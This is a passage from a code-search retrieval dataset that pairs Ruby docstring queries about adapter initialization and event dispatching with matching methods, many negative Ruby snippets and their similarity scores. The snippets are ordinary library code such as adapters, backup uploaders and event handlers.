target_sum)\n sorted = array.sort #O(logn) (But isn't worst case here O(n^2)?)\n i, j = 0, array.length - 1\n\n while i < j #O(n)\n case (array[i] + array[j]) <=> target_sum\n when 0\n return true\n when -1\n i += 1\n when 1\n j -= 1\n end\n end\n false\nend" ]
[ "0.62574106", "0.6005434", "0.5977816", "0.5976574", "0.5916582", "0.59069425", "0.5885494", "0.5884955", "0.5868798", "0.58640856", "0.58033556", "0.5767254", "0.57608736", "0.5750557", "0.5727338", "0.57079476", "0.56690526", "0.56547195", "0.56431", "0.56296796", "0.56106126", "0.56073457", "0.559933", "0.55913764", "0.5579835", "0.5562472", "0.5528345", "0.5526777", "0.55229235", "0.55066144", "0.54847896", "0.5473101", "0.54722553", "0.54616606", "0.5444693", "0.54393417", "0.5432985", "0.5429832", "0.5426223", "0.5424976", "0.54169905", "0.54163164", "0.5414106", "0.54088366", "0.54071623", "0.5400879", "0.539424", "0.53941506", "0.5389696", "0.5378037", "0.5371032", "0.5360386", "0.53597134", "0.53536344", "0.53504705", "0.533969", "0.5335224", "0.5330785", "0.5330192", "0.5328234", "0.5324731", "0.5322176", "0.5320836", "0.53194183", "0.5316477", "0.53124833", "0.53073525", "0.5306008", "0.5304241", "0.5300753", "0.5291368", "0.5288791", "0.5288174", "0.52866787", "0.5285309", "0.52853054", "0.5270516", "0.5270476", "0.5269156", "0.5268862", "0.52680224", "0.5251864", "0.5246888", "0.52405065", "0.5240016", "0.5235356", "0.5234863", "0.52337974", "0.5233622", "0.5233073", "0.52327234", "0.52324796", "0.52316606", "0.5230118", "0.52157676", "0.5215712", "0.5204114", "0.52037483", "0.52011096", "0.5199966", "0.51997256" ]
0.0
-1
Internal: Initializes a new instance. adapter The adapter instance to send instrumentation to.
def initialize(adapter) @adapter = Nunes::Adapter.wrap(adapter) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize(adapter)\n @adapter = adapter\n end", "def initialize(adapter)\n @adapter = adapter\n end", "def initialize(adapter)\n self.adapter = adapter\n end", "def initialize(adapter); end", "def initialized_adapter\n adapter.new(adapter_options)\n end", "def initialize(implement_adapter_class)\n @adapter = implement_adapter_class.new\n end", "def adapter_initialize\n end", "def set_adapter(adapter)\n @instance = adapter\n end", "def initialize(adapter = false)\n if adapter\n self.adapter = adapter\n self.procedure = adapter.procedure\n self.final_file = adapter.final_file\n self.tmp_path = adapter.tmp_path.gsub('\\ ', ' ')\n load_storage_configuration_attributes\n end\n end", "def init_adapter_from(context)\n self.adapter = adapter_class.new(context)\n end", "def init_adapter\n self.adapter = adapter_string.constantize.new\n end", "def initialize(app, adapter_options = {})\n super(app)\n @adapter_options = adapter_options\n end", "def adapter\n @adapter ||= adapter_class.new configuration\n end", "def initialize(name, adapter, options = {})\n @name = name\n @key = name.to_s\n @instrumenter = options.fetch(:instrumenter, Flipper::Instrumenters::Noop)\n @adapter = adapter\n end", "def initialize_adapter\n # if no adapter has been initialized, use memory adapter\n config[:adapter] ||= Adapters::Memory\n\n extend config[:adapter]\n after_initialize if respond_to? :after_initialize\n end", "def adapter=(adapter)\n Adapter.use = adapter\n end", "def initialize(analytics_config, opts = {})\n @config = analytics_config\n adapter = opts[:adapter] || Defaults::ADAPTER\n logger = opts[:logger] || LoggerHelper.create\n requester = opts[:http_requester] || Defaults::REQUESTER_CLASS.new(adapter, logger)\n @transporter = Transport::Transport.new(@config, requester)\n end", "def adapter\n @adapter ||= load_adapter\n end", "def initialize(instrumenter)\n @instrumenter = instrumenter\n end", "def adapter\n @adapter\n end", "def set_adapter\n @adapter = Adapter.find(params[:id])\n end", "def do_adapter_specific_setup; end", "def with(metadata_adapter: self.metadata_adapter, storage_adapter: self.storage_adapter)\n new_adapter = self.class.new(metadata_adapter: metadata_adapter, storage_adapter: storage_adapter, transaction: true, characterize: @characterize, queue: queue, handlers: handlers)\n return new_adapter unless block_given?\n yield new_adapter\n end", "def from(adapter, options = {})\n @loader.from(adapter, options)\n self\n end", "def initialize(adapter)\n self.path = adapter.procedure.get_storage_configuration.attributes['path']\n self.tmp_path = adapter.tmp_path\n self.final_file = adapter.final_file\n \n run \"mkdir -p #{path}\"\n run \"cp #{File.join(tmp_path, final_file).gsub('\\ ', ' ')} #{File.join(path, final_file)}\"\n end", "def initialize_adapters\n adapters\n nil\n end", "def initialize(authentication: required('authentication'),\n adapter: nil,\n user_agent: nil,\n debug_mode: false,\n &config)\n @authentication = authentication\n @adapter = adapter || Faraday.default_adapter\n @environment_info = EnvironmentInfo.new(user_agent)\n @debug_mode = debug_mode\n @config = config\n end", "def initialize(options = {})\n expect! options => { :adapter => String }\n\n adapter_url = options[:adapter]\n\n EM.next_tick do\n @adapter = RubPubSub::Adapter.create(adapter_url)\n end\n end", "def initialize(measurement_id, api_secret, client_id = nil, options = {})\n @measurement_id = measurement_id\n @api_secret = api_secret\n @client_id = client_id\n @adapters = []\n\n self.events = []\n end", "def register_adapter(type, adapter); end", "def with_adapter(method, request, adapter)\n adapter, adapter_class = Adapter.load adapter\n\n log \"HTTPI executes HTTP #{method.to_s.upcase} using the #{adapter} adapter\"\n yield adapter_class.new(request)\n end", "def use(new_adapter)\n @adapter = load_adapter(new_adapter)\n end", "def use(new_adapter)\n @adapter = load_adapter(new_adapter)\n end", "def default_adapter=(adapter); end", "def default_adapter=(adapter); end", "def default_adapter=(adapter); end", "def initialize(endpoint, adapter, options = nil)\n @endpoint = endpoint\n @adapter = adapter\n @serializer = (options && options[:serializer]) || self.class.serializer\n @links_parser = (options && options[:links_parser]) || Sawyer::LinkParsers::Hal.new\n @allow_undefined_methods = (options && options[:allow_undefined_methods])\n end", "def open\n raise AdapterException, \"Adapter type was never defined!\" unless @adapter_class\n adapter = @adapter_class.new({:user => @user, :password => @password, :host => @host, :port => @port, :opts => opts})\n\n if block_given?\n begin\n yield adapter\n ensure\n adapter.disconnect\n end\n end\n\n adapter\n end", "def initialize(request_adapter)\n super(Hash.new, request_adapter, \"{+baseurl}\")\n MicrosoftKiotaAbstractions::ApiClientBuilder.register_default_serializer(MicrosoftKiotaSerializationJson::JsonSerializationWriterFactory)\n MicrosoftKiotaAbstractions::ApiClientBuilder.register_default_deserializer(MicrosoftKiotaSerializationJson::JsonParseNodeFactory)\n if @request_adapter.get_base_url.nil? || @request_adapter.get_base_url.empty?\n @request_adapter.set_base_url('https://graph.microsoft.com/v1.0')\n end\n @path_parameters['baseurl'] = @request_adapter.get_base_url\n end", "def add_adapter(adapter)\n if adapter.send(:activate)\n valid_adapters << adapter\n adapter.send(:callbacks).each do |callback|\n Octo::Callbacks.send(callback, lambda { |opts|\n adapter.send(:perform, opts)\n })\n end\n end\n end", "def <<(adapter)\n @adapters << adapter\n end", "def init_with_adapter(model_path, adapter = nil, logger: Logger.new($stdout))\n m = new_model(model_path)\n init_with_model_and_adapter(m, adapter, logger: logger)\n\n self.model_path = model_path\n end", "def instance_adapter(adapter)\n adapter.bind_instances(self)\n end", "def adapter\n if @adapter.nil?\n \n # initialize the adapter\n class_name = adapter_name.to_s.camelcase\n LOG.info \"Attempting to load adapter #{class_name}.\"\n a = init_adapter( class_name )\n if a.nil?\n LOG.warn \"Attempting to load adapter file.\"\n load_adapter( adapter_name )\n a = init_adapter( \"ActiveMessaging::Adapters::#{class_name}\")\n a = init_adapter( \"Adapters::#{class_name}\") if a.nil?\n a = init_adapter( class_name ) if a.nil?\n end\n \n # configure the adapter\n unless a.nil?\n begin\n a.configure(@options)\n rescue NoMethodError\n LOG.warn \"Adapter #{a.class} lacks a configure method.\"\n rescue ArgumentError => error\n LOG.error \"Bad arguments when configuring #{a.class}.\\n\\t#{error}\"\n end\n end\n \n if a.nil?\n raise BadConfigurationException, \"Adapter #{adapter_name.inspect} \" +\n \"unavailable.\\n\\tAdapter class #{class_name} does not appear to \" +\n \"be in the $LOAD_PATH:\\n\\t#{$LOAD_PATH.join(\"\\n\\t\\t\")}\"\n end\n @adapter = a \n end\n return @adapter\n end", "def adapter_initialize\n opts = @opts\n @mutex = Mutex.new\n @sqls = opts[:sqls] || []\n @shared_adapter = false\n\n case db_type = opts[:host] \n when String, Symbol\n db_type = db_type.to_sym\n unless mod = Sequel.synchronize{SHARED_ADAPTER_MAP[db_type]}\n begin\n require \"sequel/adapters/shared/#{db_type}\"\n rescue LoadError\n else\n mod = Sequel.synchronize{SHARED_ADAPTER_MAP[db_type]}\n end\n end\n\n if mod\n @shared_adapter = true\n extend(mod::DatabaseMethods)\n extend_datasets(mod::DatasetMethods)\n if mod.respond_to?(:mock_adapter_setup)\n mod.mock_adapter_setup(self)\n end\n end\n end\n\n unless @shared_adapter\n extend UnmodifiedIdentifiers::DatabaseMethods\n extend_datasets UnmodifiedIdentifiers::DatasetMethods\n end\n\n self.autoid = opts[:autoid]\n self.columns = opts[:columns]\n self.fetch = opts[:fetch]\n self.numrows = opts[:numrows]\n extend(opts[:extend]) if opts[:extend]\n sqls\n end", "def initialize(driver)\n\t\tsuper\n\n\t\tself.driver = driver\n\tend", "def init_with_model_and_adapter(m, adapter = nil, logger: Logger.new($stdout))\n if !m.is_a?(Model::Model) || (!adapter.nil? && !adapter.is_a?(Persist::Adapter))\n raise StandardError, 'Invalid parameters for enforcer.'\n end\n\n self.adapter = adapter\n\n self.model = m\n model.print_model\n self.fm = Model::FunctionMap.load_function_map\n\n init(logger: logger)\n\n # Do not initialize the full policy when using a filtered adapter\n load_policy if adapter && !filtered?\n end", "def initialize(adapter)\n %w(ip user password path).each do |method|\n send(\"#{method}=\", adapter.procedure.get_storage_configuration.attributes[method])\n end\n \n final_file = adapter.final_file\n tmp_path = adapter.tmp_path\n \n Net::FTP.open(ip, user, password) do |ftp|\n begin\n ftp.chdir(path)\n rescue\n puts \"Could not find or access \\\"#{path}\\\" on \\\"#{ip}\\\", please ensure this directory exists and is accessible by the user \\\"#{user}\\\".\"\n exit\n end\n \n begin\n puts \"Storing \\\"#{final_file}\\\" to path \\\"#{path}\\\" on remote server (#{ip}).\"\n ftp.putbinaryfile(File.join(tmp_path, final_file).gsub('\\ ', ' '), File.join(path, final_file))\n rescue\n puts \"Could not save file to backup server. Is the \\\"#{path}\\\" directory writable?\"\n exit\n end\n end\n end", "def adapter\n self.class.adapter\n end", "def init_adapters(adapter_manager)\n end", "def initialize( backend = nil, config = {} )\n backend ||= :memory\n \n begin\n adapter = RG::Adapters.const_get(\"#{backend.to_s.capitalize}Adapter\")\n @adapter = adapter.new(config)\n rescue LoadError\n Raise \"Cannot find the backend #{backend}\"\n end\n \n end", "def initialize(adapters, order = [])\n @adapters = adapters\n @order = order.map(&:to_s)\n end", "def adapter adpt = default_adapter\n if adpt == default_adapter\n @adapter ||= adpt\n else\n @adapter = adpt\n end\n end", "def create\n @adapter = AdapterBuilder.new(adapter_params)\n\n respond_to do |format|\n if @adapter.save\n format.html { redirect_to @adapter, notice: 'Adapter was successfully created.' }\n format.json { render :show, status: :created, location: @adapter }\n else\n format.html { render :new }\n format.json { render json: @adapter.errors, status: :unprocessable_entity }\n end\n end\n end", "def initialize_adapter\n callback = lambda { |changed_directories, options| self.on_change(changed_directories, options) }\n Adapter.select_and_initialize(directories, adapter_options, &callback)\n end", "def xapit_adapter\n @xapit_adapter ||= begin\n adapter_class = AbstractAdapter.subclasses.detect { |a| a.for_class?(self) }\n if adapter_class\n adapter_class.new(self)\n else\n raise \"Unable to find Xapit adapter for class #{self.name}\"\n end\n end\n end", "def adapter=(v)\n cfg_set(:adapter, v)\n end", "def adapter=(v)\n cfg_set(:adapter, v)\n end", "def initialize(conn = nil)\n self.conn = conn || self.class.default_conn\n @system_profiler = SystemProfiler.new\n @last_request_metrics = nil\n end", "def initialize(advertiser_details, domain=nil)\n @@logger = Logging::Log.new(self, :staging => $staging, :id_file => File.basename(__FILE__, \".rb\"), :debugging => $debugging)\n\n @@logger.an_event.debug \"durations #{advertiser_details[:durations]}\"\n @@logger.an_event.debug \"arounds #{advertiser_details[:arounds]}\"\n\n raise Errors::Error.new(ARGUMENT_UNDEFINE, :values => {:variable => \"durations\"}) if advertiser_details[:durations].nil?\n raise Errors::Error.new(ARGUMENT_UNDEFINE, :values => {:variable => \"arounds\"}) if advertiser_details[:arounds].nil?\n\n @durations = advertiser_details[:durations]\n @arounds = advertiser_details[:arounds]\n @domain = domain\n end", "def initialize( ib, opts={} )\n @ib = ib\n @request_id = PryIb::next_request_id\n @verbose = opts.fetch(opts[:verbose], false)\n @quote_count = 0\n end", "def start!\n @adapter.start\n end", "def with(request, adapter)\n adapter ||= Adapter.use\n yield Adapter.find(adapter).new(request)\n end", "def adapter_class; raise_method_error(\"[#{self.class.name}] does not have `adapter_class` defined.\"); end", "def adapter\n return @adapter if @adapter\n self.use self.default_adapter\n @adapter\n end", "def adapter\n return @adapter if @adapter\n self.use self.default_adapter\n @adapter\n end", "def initialize() \n\t\t@view_id = VIEW_ID\n\t\t@analytics = Google::Apis::AnalyticsreportingV4\n\t\tauth\n\tend", "def init\n adapter.setup_connection_specification_name\n adapter.process_excluded_models\n end", "def initialize(adapter)\n %w(ip user password path).each do |method|\n send(\"#{method}=\", adapter.procedure.get_storage_configuration.attributes[method])\n end\n \n final_file = adapter.final_file\n tmp_path = adapter.tmp_path\n \n Net::SSH.start(ip, user, :password => password) do |ssh|\n ssh.exec \"mkdir -p #{path}\"\n end\n \n puts \"Storing \\\"#{final_file}\\\" to path \\\"#{path}\\\" on remote server (#{ip}).\"\n Net::SCP.start(ip, user, :password => password) do |scp|\n scp.upload! File.join(tmp_path, final_file).gsub('\\ ', ' '), path\n end\n end", "def init_script\n @adapter.init_script\n end", "def start!\n setup\n adapter.start!\n end", "def initialize(driver)\r\n @@driver = driver\r\n end", "def force_adapter(adapter_class)\n @adapter_options[:force_adapter] = adapter_class\n self\n end", "def initialize(connection_details)\n @connection_details = connection_details\n end", "def initialize(connection = nil)\n @connection = connection || PayTrace.configuration.connection\n end", "def adapters\n @__adapters__ ||= {}\n end", "def initialize_adapter\n case procedure.adapter_name.to_sym\n when :mongo then Backup::Adapters::MongoDB.new trigger, procedure\n when :mysql then Backup::Adapters::MySQL.new trigger, procedure\n when :sqlite then Backup::Adapters::SQLite.new trigger, procedure\n when :postgresql then Backup::Adapters::PostgreSQL.new trigger, procedure\n when :archive then Backup::Adapters::Archive.new trigger, procedure\n when :custom then Backup::Adapters::Custom.new trigger, procedure\n else\n puts \"Unknown Adapter: \\\"#{procedure.adapter_name}\\\".\"\n exit\n end\n end", "def initialize\n @use_ssl = false\n @http_adapter = Yummly::FaradayAdapter\n end", "def initialize(client_id, client_secret, opts={})\n self.options = opts.dup\n self.token_method = self.options.delete(:access_token_method) || :post\n adapter = self.options.delete(:adapter)\n ssl_opts = self.options.delete(:ssl) || {}\n connection_opts = ssl_opts ? {:ssl => ssl_opts} : {}\n self.id = client_id\n self.secret = client_secret\n self.site = self.options.delete(:site) if self.options[:site]\n self.connection = Faraday::Connection.new(site, connection_opts)\n self.json = self.options.delete(:parse_json)\n self.raise_errors = !(self.options.delete(:raise_errors) == false)\n\n if adapter && adapter != :test\n connection.build do |b|\n b.adapter(*[adapter].flatten)\n end\n end\n end", "def initialize(search_config, opts = {})\n @config = search_config\n adapter = opts[:adapter] || Defaults::ADAPTER\n @logger = opts[:logger] || LoggerHelper.create\n requester = opts[:http_requester] || Defaults::REQUESTER_CLASS.new(adapter, @logger)\n @transporter = Transport::Transport.new(@config, requester)\n end", "def faraday_adapter(adapter)\n @configuration[:faraday_adapter] = adapter\n end", "def use(adapter_klass, options = {})\n @options = options.symbolize_keys\n \n case adapter_klass\n when String, Symbol\n adapter_name = \"LiveValidations::Adapters::\" + adapter_klass.to_s.camelize\n self.current_adapter = adapter_name.constantize\n when Class\n self.current_adapter = adapter_klass\n end\n \n rescue NameError => e\n raise AdapterNotFound, \"The adapter `#{adapter_klass}' (#{adapter_name}) was not found.\"\n end", "def initialize(client, manager, entity)\n super(client, manager, entity)\n @service = manager.service\n @metric = manager.metric\n @application_plan = manager.application_plan\n end", "def initialize\n self.client_id = nil\n self.timeout = 10\n self.open_timeout = 10\n self.adapter = Faraday.default_adapter\n end", "def initialize(conn)\n\t\t\t@level = @poses = nil\n\t\t\t@conn = IridiumConnection.new\n\t\t\t@conn.register(self)\n\t\t\t@conn.connect(conn)\n\t\tend", "def get_adapter\n \n unless @remote_adapter\n @remote_adapter = adapter_class(adapter).new(account)\n end\n \n @remote_adapter\n \n end", "def initialize\n @conn=MessageDistributor.instance\n @conn.add_observer(self)\n super(@conn)\n end", "def adapters\n @adapters ||= {}\n end", "def initialize\n @ballot = Nps.configuration.ballot_adaptor.new\n end", "def initialize driver\n @driver = driver\n end", "def http_adapter\n @adapter ||= set_http_adapter\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.androidGeneralDeviceConfiguration\"\n end", "def add(adapter)\n adapters << adapter\n end", "def initialize\n @params_class = Spree::Adyen::HPP::Params\n @invoice_class = Spree::Adyen::Invoice\n end", "def adapters\n @adapters ||= {}\n end", "def initialize(backend, server, weight)\n @backend = backend\n @server = server\n @weight = weight\n end", "def initialize(driver, api)\n @driver = driver\n @api = api\n end", "def initialize(driver, api)\n @driver = driver\n @api = api\n end", "def initialize(driver, api)\n @driver = driver\n @api = api\n end", "def initialize(driver, api)\n @driver = driver\n @api = api\n end" ]
[ "0.81902003", "0.81899834", "0.81426877", "0.779894", "0.7208526", "0.7170858", "0.7022079", "0.69951624", "0.6862842", "0.6744635", "0.6734697", "0.67009544", "0.6575368", "0.6548288", "0.6499456", "0.63831925", "0.6355409", "0.61917686", "0.6160229", "0.6157396", "0.6151328", "0.6149168", "0.61225075", "0.6116366", "0.6098316", "0.60981244", "0.6095188", "0.6086272", "0.60593075", "0.60591966", "0.60162675", "0.59909326", "0.59909326", "0.59852463", "0.59852463", "0.59852463", "0.5984133", "0.5974181", "0.59409404", "0.5933351", "0.58717316", "0.5857648", "0.5841445", "0.5819575", "0.5799645", "0.5798459", "0.5794904", "0.57335466", "0.57150286", "0.5707655", "0.57036006", "0.5651634", "0.5617354", "0.56132215", "0.56088126", "0.56025124", "0.55934757", "0.5587239", "0.5586745", "0.55833566", "0.55700046", "0.5560168", "0.55584186", "0.5556788", "0.55452347", "0.55432177", "0.55302167", "0.55237085", "0.55142254", "0.5485752", "0.5479112", "0.545989", "0.5456884", "0.5447303", "0.5428079", "0.54253846", "0.5417889", "0.54076666", "0.5407251", "0.540407", "0.54020447", "0.5387488", "0.5378973", "0.53654474", "0.53634214", "0.5362851", "0.53596246", "0.53397787", "0.53337157", "0.53276587", "0.5324219", "0.5323425", "0.5322789", "0.5322619", "0.5314653", "0.530398", "0.52927756", "0.52927756", "0.52927756", "0.52927756" ]
0.7517476
4
Private: Dispatcher that converts incoming events to method calls.
def call(name, start, ending, transaction_id, payload) # rails doesn't recommend instrumenting methods that start with bang # when in production return if name.start_with?(BANG) method_name = name.split('.').first if respond_to?(method_name) send(method_name, start, ending, transaction_id, payload) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def dispatch_to(dispatcher)\n @jr_method_args.each { |args|\n # copy args so original is preserved\n handler_method, jr_methods =\n extract_handler_method(Array.new(args))\n jr_methods.map! { |m| m.to_s }\n\n handler = has_handler_for?(handler_method) ?\n handler_for(handler_method) :\n create_handler_for(handler_method)\n\n dispatcher.handle jr_methods, handler\n }\n end", "def normal_dispatch\n emit_naked_receiver\n emit_selector_replacement\n mutate_receiver\n emit_argument_propagation\n mutate_arguments\n end", "def register_events\n EventReactor.sub(:trade_cleared, &method(:trade_cleared))\n EventReactor.sub(:round_change, &method(:change_round))\n EventReactor.sub(:ask_posted, &method(:ask_posted))\n EventReactor.sub(:bid_posted, &method(:bid_posted))\n end", "def dispatcher\n @dispatcher ||= blank_context(:this => self) do\n def method_missing(sym, *args, &block)\n @this.doc_ready!\n [@this, @this.doc].each do |context|\n next unless context.respond_to?(sym)\n return context.send(sym, *args, &block)\n end\n super # raise NoMethodError if no context can handle\n end\n end\n end", "def fire_events!(*events); end", "def method_missing(method_name, *args, &block)\n _, event_name, callback_name = *method_name.to_s.match(/^(\\w*?on_\\w+?)_(\\w+)$/)\n if callback_names.include?(callback_name.to_sym)\n public_send(event_name, :\"#{callback_name}\", *args, &block)\n else\n super\n end\n end", "def method_missing(method_name, *args, &block)\n _, event_name, callback_name = *method_name.to_s.match(/^(\\w*?on_\\w+?)_(\\w+)$/)\n if callback_names.include?(callback_name.to_sym)\n public_send(event_name, :\"#{callback_name}\", *args, &block)\n else\n super\n end\n end", "def handler(event, *meths)\n meths.each do |meth|\n events[event.to_sym] ||= []\n events[event.to_sym] << {type: :method, method: meth.to_sym}\n end\n self\n end", "def method_missing(method_name, *args, &block)\n _, event_name, callback_name = *method_name.to_s.match(/^(\\w*?on_\\w+?)_(\\w+)$/)\n if callback_name && callback_names.include?(callback_name.to_sym)\n public_send(event_name, :\"#{callback_name}\", *args, &block)\n else\n super\n end\n end", "def dispatch(event, *args)\n result = nil\n @events[event]&.each { |hdl| result = hdl.call(*args) }\n result\n end", "def dispatch_event(type: event_type, with_data: data, token: nil)\n # This wierd Object include check has to do with Ruby's odd main/top level behaviours\n # We are basically just checking that the method was defined in this file\n if(type && Object.private_instance_methods.include?(type.to_sym))\n send(type.to_sym, with_data, token: token)\n else\n logger.info \"Did not find a handler for event type '#{type}'\"\n empty_response\n end\nend", "def dispatcher()\n require 'dispatch/dispatch'\n @dispatch = Dispatch.new\n @dispatch.start\n sleep\n end", "def dispatch(*_arg0); end", "def dispatch\n Engine.instance.dispatch([self])\n end", "def dispatch_events!\n loop do\n event = @event_queue.pop\n\n callbacks.each do |callback|\n Thread.new do\n callback.call event\n end\n end\n end\n end", "def dispatch\n raise NotImplementedError\n end", "def call_dispatchers(payload)\n dispatchers.each do |dispatcher|\n dispatcher.call(payload)\n end\n end", "def call\r\n # TODO: rename to more appropriate one 2007/05/10 by shino\r\n self.modify_message\r\n logger.debug{\"Ap4r::Dispatcher after modification\\n#{@message.to_yaml}\"}\r\n self.invoke\r\n self.validate_response\r\n self.response\r\n end", "def dispatch(object, method_name, ...)\n if object.respond_to?(:cast)\n object.cast(method_name, context.role_implementing(object, method_name), ...)\n else\n Casting::Delegation.prepare(method_name, object).to(role_implementing(object, method_name)).with(...).call\n end\n end", "def ev_do_handle_events(readers, writers); end", "def dispatch!\n \n # negotiates initial configuration\n @meta = self.negotiate!\n \n # dispatches hash set to the server\n self.dispatch_hashing!\n self.dispatch_hashset!\n \n # dispatches orders\n self.dispatch_orders!\n \n # dispatches messages\n self.handle_messages!\n \n end", "def dispatcher(session,context,dispatch_destination = nil)\n @myclass.Dispatcher.dispatch(session,context,dispatch_destination)\n end", "def dispatch_to_handler(method, *args)\n if Creatary.consumer_handler.nil?\n LOGGER.error 'Application has not configured the Creatary consumer_handler'\n raise InvalidConsumerHandler.new 'Application has not configured the Creatary consumer_handler'\n end\n \n if Creatary.consumer_handler.respond_to?(method)\n begin\n return Creatary.consumer_handler.send(method, *args)\n rescue Creatary::Error => error\n LOGGER.error 'Application has suffered an internal error: ' + error.message + ', ' + error.body\n raise error\n end\n end\n \n end", "def call_subscribers(method_name, *args)\n @in_call = true\n subscribers.each do |s|\n # Skip new/unsupported event names\n next unless s.respond_to?(method_name)\n\n mth = s.method(method_name)\n # Trim arguments to match what the subscriber expects to allow\n # adding new arguments without breaking compat.\n if mth.arity < args.size && mth.arity >= 0\n mth.call(*args.take(mth.arity))\n else\n mth.call(*args)\n end\n end\n ensure\n @in_call = false\n end", "def dispatch(msg)\n case msg.message_type\n when Message::METHOD_CALL\n if not @intfs[msg.interface]\n raise InterfaceNotInObject, msg.interface\n end\n meth = @intfs[msg.interface].methods[msg.member.to_sym]\n raise MethodNotInInterface if not meth\n methname = Object.make_method_name(msg.interface, msg.member)\n retdata = method(methname).call(*msg.params)\n\n reply = Message.new.reply_to(msg)\n # I'm sure there is a ruby way to do that\n i = 0\n if meth.rets.size > 0 and not retdata.kind_of?(Array)\n raise InvalidReturnType\n end\n meth.rets.each do |rsig|\n reply.add_param(rsig[1], retdata[i])\n end\n @service.bus.send(reply.marshall)\n end\n end", "def send_events=(_arg0); end", "def send_events; end", "def event_bus; end", "def event_bus; end", "def setup_default_handlers\n # Incoming events\n prepend_handler :incoming_msg, self.method(:r_msg)\n prepend_handler :incoming_act, self.method(:r_act)\n prepend_handler :incoming_notice, self.method(:r_notice)\n prepend_handler :incoming_ctcp, self.method(:r_ctcp)\n prepend_handler :incoming_ctcpreply, self.method(:r_ctcpreply)\n prepend_handler :incoming_mode, self.method(:r_mode)\n prepend_handler :incoming_join, self.method(:r_join)\n prepend_handler :incoming_part, self.method(:r_part)\n prepend_handler :incoming_kick, self.method(:r_kick)\n prepend_handler :incoming_quit, self.method(:r_quit)\n prepend_handler :incoming_nick, self.method(:r_nick)\n prepend_handler :incoming_miscellany, self.method(:r_miscellany)\n\n # Incoming numeric events here\n prepend_handler :incoming_welcome, self.method(:r_welcome)\n prepend_handler :incoming_bannedfromchan, self.method(:r_bannedfromchan)\n prepend_handler :incoming_badchannelkey, self.method(:r_badchannelkey)\n prepend_handler :incoming_nicknameinuse, self.method(:_nicknameinuse)\n prepend_handler :incoming_channelurl, self.method(:r_channelurl)\n prepend_handler :incoming_topic, self.method(:r_topic)\n prepend_handler :incoming_topicinfo, self.method(:r_topicinfo)\n prepend_handler :incoming_namreply, self.method(:_namreply)\n prepend_handler :incoming_endofnames, self.method(:r_endofnames)\n prepend_handler :incoming_motd, self.method(:r_motd)\n prepend_handler :incoming_motdstart, self.method(:r_motdstart)\n prepend_handler :incoming_endofmotd, self.method(:r_endofmotd)\n prepend_handler :incoming_invite, self.method(:r_invite)\n\n # Outgoing events\n prepend_handler :outgoing_begin_connection, self.method(:out_begin_connection)\n end", "def method_missing(sym,*args, &block)\n if sym.to_s.match(/^(on|before|after)_/)\n register_handler(sym.to_s,args.first,&block)\n else\n super\n end\n end", "def event!(*args)\n @events&.call(*args)\n end", "def dispatch(t_msg)\n self.send(@dispatcher_block, t_msg)\n end", "def event_dispatcher(socket)\n if @debug\n socket.onopen do\n on_open_development(socket)\n end\n\n socket.onmessage do |message|\n on_message_development(socket, message)\n end\n\n socket.onclose do\n on_close_development(socket)\n end\n else\n socket.onopen do\n on_open(socket)\n end\n\n socket.onmessage do |message|\n on_message(socket, message)\n end\n\n socket.onclose do\n on_close(socket)\n end\n end\n end", "def dispatch_with_data(event, data, *args)\n result = data.dup\n @events[event]&.each { |hdl| result = hdl.call(result, *args) }\n result\n end", "def apply_event_subscription\n @dispatcher.subscribe_event(event_subscription)\n end", "def method_missing(meth, *args)\n case meth.to_s\n when /^login/\n _login(meth, *args)\n when /^async/i\n AsyncDispatcher.new(self, :_call)\n else\n Dispatcher.new(self, meth, :_call)\n end\n end", "def invoke_delegated(service_name, method_name, *args)\r\n prepare_request(service_name.to_s, service_name, method_name, *args)\r\n @controller.process(@request, @response)\r\n decode_rpc_response\r\n end", "def call_events\n model.call_events.map{|c| Event::CallDecorator.new(c) }\n end", "def handler_method; end", "def method_missing(method_name, *args, &block)\n # Quick check to see if changes or was are being called, this check\n # keeps us from needing to parse out the parts if we're not going\n # to use them.\n if method_name =~ /[_](changes|was)$/\n # Break apart the method call\n # TODO: no destructuring because of https://github.com/opal/opal/issues/663\n *parts = method_name.to_s.split('_')\n action = parts.pop\n key = parts.join('_').to_sym\n\n # Handle changes or was calls.\n case action\n when 'changes'\n return changes(key)\n when 'was'\n return was(key)\n end\n end\n\n # Otherwise, run super\n super\n end", "def method_missing(sym,*args, &block)\n if sym.to_s.match(/^(on|before|after)_/)\n register_handler(sym.to_s,args.first,&block)\n else\n super\n end\n end", "def method_missing( sym, *args, &block )\n if @state == :open && @dispatcher.respond_to?( sym )\n assert_state :open\n @dispatcher.__send__( sym, *args, &block )\n else\n super\n end\n end", "def process_action(method_name, *args); end", "def serve(obj, accept = obj.public_methods)\n\t\tif obj.is_a?(Dispatcher)\n\t\t\t# 2.\n\t\t\t@dispatcher = obj\n\t\telse\n\t\t\t# 1.\n\t\t\t@dispatcher = ObjectDispatcher.new(obj, accept)\n\t\tend\n\t\tself\n\tend", "def dispatcher\n endpoint_dispatch(params[:address])\n end", "def make_state_change_ntfy(meth_to_call)\n @observ_list.each do |name, obser|\n #p name\n #p obser\n next unless obser\n if obser.respond_to?(meth_to_call)\n obser.send(meth_to_call)\n else\n #crash\n @log.warn(\"Net_state: observer #{name} don't support method #{meth_to_call}\")\n end \n end\n end", "def _call_of(method)\n proc{ |*args| send(method, *args) }\n end", "def process!\n events.each(&:process!)\n end", "def dispatch_event(data)\n puts \"Event Dispatcher Invoked\"\n \n unless !data.has_key? \"type\"\n puts \"message type #{data['type'].to_s}\"\n \n # switch event action based on message type\n case data['type']\n when \"register\"\n puts \"user wishes to register. check auth_key first\"\n self.register(data)\n when \"subscribe\"\n puts \"user wishes to subscribe to a channel\"\n self.subscribe(data)\n when \"message\"\n # message: to:channel,from:uuid,type:message,text:message,visibility:private\n puts \"user wishes to send a message\"\n end\n \n else\n # if the socket is connected but no post_init data was sent\n # then we want to kill the connection, since this is probably an unauthorized\n # user....\n \n puts \"data doesn't have key type\"\n self.close_connection_after_writing\n end\n \n end", "def bind_events\n PARSER_EVENTS.each do |e|\n @client.on(e){|*a| __send__ \"on_#{e}\", *a}\n end\n end", "def call event\n # Instantiate and execute a handler for the event based on its namespace.\n # Handlers are executed with the middleware instance as the receiver.\n namespace, topic = event.topic.split('.')\n self.instance_exec(event, &handler_for(namespace, event.type))\n\n # Pass through the event (with potentially modified arguments) to the next\n # middleware\n fire(event)\n end", "def run!\n before_run\n\n 